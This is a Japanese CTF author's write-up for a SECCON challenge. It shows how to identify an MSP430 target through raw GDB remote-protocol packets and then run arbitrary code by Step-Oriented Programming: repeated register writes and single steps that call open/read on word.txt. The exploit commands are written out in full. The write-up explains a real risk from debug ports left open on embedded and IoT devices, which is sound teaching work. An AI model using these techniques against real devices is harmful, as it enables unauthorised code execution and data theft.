■ 問題の概要 ・CODE BLUE 2017 で発表した 「Step-Oriented Programming による任意コード実行の可能性」 の問題をMSP430マイコンで行うもの. 2016年のオンライン予選と決勝大会で既出(アーキを変更しただけ)の問題のため, 復習的な問題. ・GDBでリモート接続することでリモートデバッグが可能なプログラムが動作している. ただしプログラムの実行ファイルは渡されない. ・アーキが不明なので,まずはGDBプロトコルを直接読んだり通信したりして情報を 取得してアーキを特定する.(アーキはMSP430) 具体的には,以下を行う.ステップ実行をうまく使うことで,エスパーでなくても アーキを特定できる. *GDBリモートプロトコルのmコマンドで,機械語コードを取得する. *GDBリモートプロトコルのgコマンドで,レジスタ値を取得する. *GDBリモートプロトコルのsコマンドで,ステップ実行する. ・アーキが特定できたら,機械語コードを逆アセンブルし解析する. ・Step-Oriented Programming により任意コードを実行し,プログラムが動作している カレントディレクトリの word.txt というファイルの内容を取得できたら攻略 ・Remote Serial Protocol のMコマンドは無効にしてある.よってメモリの変更は できないようにしてあるが,Gコマンドによるレジスタ値の変更はできるので, プログラムカウンタの変更とステップ実行を繰り返すことで,ROPのように 任意コード実行ができる. (考慮点) ・GDBのプロトコルを直接送受信してアーキ推測するフェーズと, GDBでの解析&任意プログラム実行のフェーズの,2段階の問題にしたい. このためアーキは教えず,アーキ推測の要素を入れる. ■ サーバへの接続 まず,telnetで接続する. $ telnet micro.pwn.seccon.jp 10000 $T05#b9 競技説明にあるように以下を発行すると,応答が得られる. $ echo '+$g#67+' | nc micro.pwn.seccon.jp 10000 応答を見ることで,GDBリモートデバッグプロトコルだと判断する. GDBリモートデバッグプロトコルのフォーマットは以下. ・「$」で始まり,末尾に#XXでチェックサムがつく ・チェックサムは $〜# にはさまれた,$と#を除いた部分を unsigned char で加算する ・受信したらACKとして「+」を返す.上の例ではサーバから「$T05#b9」を受信した ACKとしてまず「+」を返し,さらに「$g#67」を送信しその応答に対するACKとして また「+」を送信している.ACKを返さないと,次に何か送るたびに前のデータが 再送されてきて新しいリクエストを受け付けてくれない ・コマンドは多数あるが,代表的なのは以下 g ... レジスタ値の一覧を取得 m, ... メモリダンプの取得 s ... ステップ実行(gdbのstepiコマンドに相当) c ... 実行継続(gdbのcontinueコマンドに相当) G ... レジスタ値の設定(gコマンドの逆) M,: ... メモリへの値の書き込み(mコマンドの逆) D ... デタッチ (注意) ただしMコマンドは無効になっており,エラーを返すようにしてある. これはMコマンドが使えると任意コード注入がものすごく簡単にできて しまいゲームバランスが悪いため. 実機としては,ROM上に機械語コードがあって書き換えできないような 場合を想定している ・コマンドは多数ありgdbで接続するとgdbがいろいろなコマンドを試してくるのだが, コマンドが未サポートの場合はgdb側でよりメジャーなコマンドを使った方法に 自動的に切り替えるので,最低限のコマンド(上記7つくらい)を実装していれば gdbから基本的な操作をすることはそれなりに可能 ■ ステップ実行で挙動を見てアーキを特定する 以下でステップ実行してみる. (1回のみ実行) $ echo '+$g#67+$s#73+$g#67+' | nc micro.pwn.seccon.jp 10000 (2回実行) $ echo '+$g#67+$s#73+$g#67+$s#73+$g#67+' | nc micro.pwn.seccon.jp 10000 ステップ実行を繰り返すと,gコマンドで得られたレジスタ値の中で加算されていく部分 がある.そこがプログラムカウンタの値だと推測できる.実際に行うと以下のように なっており,レジスタ一覧の先頭がプログラムカウンタであり,リトルエンディアンに なっていることが推測できる.またプログラムカウンタの増加ぶんから,実行された 命令の命令長を推測できる. $00200000... $04200000... $76200000... $78200000... $7c200000... 0x2000付近のアドレスに実行コードがあるようなので,以下で0x2000付近の メモリダンプを取得する.一度に多量のダンプを取得しようとするとタイマで 自動切断されるので,小分けにして取得する. $ echo '+$m2000,100#ec+' | nc micro.pwn.seccon.jp 10000 これをアドレスを変更しながら繰り返し行うことで,機械語コードが得られる. ステップ実行を複数回実行すると,プログラムカウンタの値が大きく変化することが ある.これはジャンプ命令かリターン命令が実行されたと推測できる. $00200000... $04200000... ← ここにジャンプ命令かリターン命令があると思われる $76200000... ← ここでプログラムカウンタが大きく変化している $78200000... $7c200000... 変化前のプログラムカウンタの値を確認する.その位置に,ジャンプ命令かリターン 命令があると推測できる.その場所の機械語コードを見て,その機械語コードが ジャンプ命令かリターン命令になっているアーキテクチャを調べる. b0 13 76 20 ... ただこれは cross-gcc494/sample で機械的に grep で検索しても出てこないので, これをいかに推定するかがこの問題のポイントとなる. $ cd cross-gcc494/sample $ grep "b0 13" *.d → ヒットしない ■ toolchainのビルド (binutils) アーキテクチャが特定できたら逆アセンブラをビルドすれば取得した機械語コードを 逆アセンブルできる.あとはシステムコールの呼び出し箇所を探し, Step-Oriented Programming で open()/read() を呼び出すことでファイルの内容を 読み出す. 以下はMSP430向けの逆アセンブラのビルド例. $ wget -nd http://www2.kozos.jp/tools/cross-gcc494/binutils-2.28.tar.bz2 $ tar xvJf binutils-2.28.tar.bz2 $ cd binutils-2.28 $ ./configure --target=msp430-elf --prefix=$HOME/tools --disable-werror --disable-nls $ make (エラーになる?) $ make install → ~/tools/bin/msp430-elf-objdump がインストールされる...はずなのだが, makeでエラーになる.以下のように cross-gcc494 を使うことでビルドできる. $ wget -nd http://kozos.jp/books/asm/cross-gcc494-v1.0.tgz $ tar xvzf cross-gcc494-v1.0.tgz $ cd cross-gcc494/toolchain $ ./fetch.sh $ ./setup.sh $ cd .. $ nano config.sh → 以下を有効にする install_dir="$HOME/cross-gcc494" $ cd build $ ./setup-all.sh $ ./build-install-all.sh msp430-elf (GDB) gdbで接続するとGDBリモートプロトコルを直接送受信しなくて済むので多少楽に 解くことができるので,GDBをビルドする. (ただしGDBリモートプロトコルを直接送受信することで解くこともできるので, 必須ではない) binutilsのビルドに cross-gcc494 を使えば,GDBもまとめてビルドされるので 以下の作業は不要. 以下は gdb-7.12 の例だが,GDBのバージョンはあまり問わない. $ wget -nd http://www2.kozos.jp/tools/gdb-7.12.tar.gz $ tar xvzf gdb-7.12.tar.gz $ cd gdb-7.12 $ ./configure --target=msp430-elf --prefix=$HOME/tools --disable-werror --disable-nls $ make $ make install → ~/tools/bin/msp430-elf-gdb がインストールされる. ■ 実行コードの取得 サーバにGDBで接続し,実行コードを取得する.ただしこれはGDBプロトコルの mコマンドを使うことで手作業でもできるので,GDBの利用は必須ではない. システム標準の/usr/bin/gdbでなく,ビルドしたGDBを利用すること. $ ~/cross-gcc494/bin/msp430-elf-gdb (gdb) target remote micro.pwn.seccon.jp:10000 接続したらGDBで操作できる. 実行コードはメモリダンプとしてすでに取得できているが, 以下で実行コードをバイナリ形式で取得し,逆アセンブルすることができる. (gdb) info registers → プログラムカウンタの値から,機械語コードがあるアドレスが0x2000〜付近である ことがわかる. (gdb) dump binary memory dump.bin 0x2000 0x3000 → 機械語コードを取得する → 簡易タイマにより取得が間に合わない場合には,何回かに分けて取得し結合する (gdb) dump binary memory dump.bin 0x2000 0x2400 (gdb) dump binary memory dump.bin 0x2400 0x2800 ... $ cat dump?.bin > dump.bin ■ 実行コードの解析 取得した機械語コードのメモリダンプをバイナリ形式に変換して,dump.bin という ファイルに保存する. (gdbで接続できればメモリダンプをバイナリ形式で取得することができるので, この変換作業が面倒ならば後回しにして,GDBのビルドを先に行ってもよい) dump.bin は,以下で逆アセンブルできる. (アーキにMSP430を指定) $ ~/cross-gcc494/bin/msp430-elf-objdump -b binary -m MSP430 -D dump.bin objdump -b binary でのバイナリ逆アセンブルは,-m指定がないとできない. -mに指定できるオプションはobjdump --helpを実行すると出て来る. 逆アセンブル結果を参照し,プログラムを解析する. ■ システムコールの発行方法を推定する open()/read()を呼ぶためのシステムコール呼び出し方法を調べる. 問題文中に,GDBのシミュレータで動作していることを説明してあるので, GDBのMSP430シミュレータのソースコードを読むことで推測できる. 逆アセンブル結果を見ると,先頭付近に calla 命令で不適切なアドレスを関数コール している箇所が連続している.これがシミュレータへの特殊要求発行だと推測できる. GDBのMSP430シミュレータのソースを読むと,0x180付近のアドレスへの関数コールの 際に,以下の部分でシステムコール処理を行っていることがわかるので,それらを 照らし合わせることで,システムコール呼び出し方法を知ることができる. if ((call_addr & ~0x3f) == 0x00180) { /* Syscall! */ int syscall_num = call_addr & 0x3f; int arg1 = MSP430_CPU (sd)->state.regs[12]; int arg2 = MSP430_CPU (sd)->state.regs[13]; int arg3 = MSP430_CPU (sd)->state.regs[14]; int arg4 = MSP430_CPU (sd)->state.regs[15]; MSP430_CPU (sd)->state.regs[12] = sim_syscall (MSP430_CPU (sd), syscall_num, arg1, arg2, arg3, arg4); return 1; } ■ 任意コードの実行 メモリへの書き込みは廃止してあるのでできない. このためシェルコード流し込みみたいなことはできない. レジスタ値を設定してプログラムカウンタの値を書き換えてステップ実行することで, ROPのように既存の実行コード中の特定のコードをつまみぐいで実行させて, 任意コードを実行させることができる. (もしくはレジスタへの値設定を行い,レジスタ値のメモリへの書き込み処理を上記の 任意コード実行により行ってメモリ上に書き込めば,任意コードを注入することも できる) gdb上で以下のコマンドを実行することで,カレントディレクトリの word.txt という ファイルをオープンし,readし,読み込んだ結果をダンプすることでフラグを取得 できる. $ ~/cross-gcc494/bin/msp430-elf-gdb target remote micro.pwn.seccon.jp:10000 info registers print $pc = 0x20de print $sp = 0x2400 print $r12 = 0x6F77 stepi print $pc = 0x20de print $sp = 0x2402 print $r12 = 0x6472 stepi print $pc = 0x20de print $sp = 0x2404 print $r12 = 0x742E stepi print $pc = 0x20de print $sp = 0x2406 print $r12 = 0x7478 stepi x/16c 0x2400 print $pc = 0x201a print $r12 = 0x2400 print $r13 = 0x0 print $r14 = 0x0 stepi print $pc = 0x200e print $r12 = 0x3 print $r13 = 0x2600 print $r14 = 0x20 stepi x/32c 0x2600 ■ gdbを使わない解法 GDBリモートプロトコルを直接送受信し,上記のgdb操作で発行しているコマンドと 等価なコマンド発行を自前で行えば,gdbを使わずに解くことができる. レジスタの設定はGコマンドで行える.方法としては,gコマンドでレジスタ値の 一覧を取得し,変更したいレジスタの位置を上書きしてGコマンドで送ればよい. stepiによるステップ実行は,sコマンドで行える.メモリダンプ取得はmコマンドで 行える.チェックサム計算は,$〜#の間の文字を unsigned char で加算することで 可能.これらの方法は前述しているとおり. フラグ取得のサンプルを添付する.(別ファイル参照) msp430-elf.read.rsp sendgdbproto.pl 以下のようにして利用することで,フラグ取得できる.FreeBSDで検証した. $ cat msp430-elf.read.rsp | ./sendgdbproto.pl | nc micro.pwn.seccon.jp 10000 ... RECV: +$534f504973537465704f7269656e74656450726f6772616d6d696e670a000000#9e (1バイト単位でASCII文字に変換することでフラグになる) ■ 想定しているもの 問題としては, 「組込み製品のデバッグポートがうかつに開きっぱなしになっていたら, そこで何をされ得るか?」(アーキ特定から実際のExploitまでできてしまう) という実際のセキュリティ問題を示唆している. 以下のようなものを想定している. ・組込み製品で,デバッグポートの閉じ忘れやデバッグのために残してあるなどの 理由で,シリアルのデバッグポートが開きっぱなしになっていて (もしくは普段は閉じているが特殊コマンドで有効化できるようになっていて), さらに基板上にデバッグ用のシリアルポートの回路が残っていて, シリアルコネクタを半田付けすればデバッグポートにアクセスできたりする ことがある. ・デバッグポートに接続できれば,たとえアーキがわからなくてもGDBリモート プロトコル直打ちでアーキ推測はできる. (そしてダンプ取得とステップ実行を組み合わせれば,それはかなりの精度で できることが,今回のこの問題からわかる) ・アーキ特定できれば,たとえDEPが効いていたり実行コード領域がMMUやスタブで ガードされていたりROM上にあって変更不可だったりしてシェルコード注入できなく ても,プログラムカウンタ書き換えとステップ実行の組合せでROPのようにコードを つまみぐいして,任意コードを組み立てて実行することができる. ・これはデバッグポート(通常はシリアルポート)にアクセスできることを想定している ので機器がネットワークの先でなく目の前にある場合を想定しているが, たとえば屋外に据え置きになっているIoT機器とかでは,夜中にこっそりとこういう ことをやられてしまう懸念がある. もちろんネットワーク経由でデバッグポートにアクセスされてしまえば,同様の ことはネットワーク経由でやられてしまう懸念がある. (逆に言えば,ネットワークに接続されていない製品でも当てはまることなので, ネットワークに繋がっていなければ安全というわけではない,という示唆でもある) ・今回は32ビットRISCマイコンとかでなく超低消費電力マイコンのMSP430をターゲット にしている.このように16ビットアーキや,もちろん8ビットアーキでも同様に 攻撃されることがあり得る. ■ これで説明はおしまい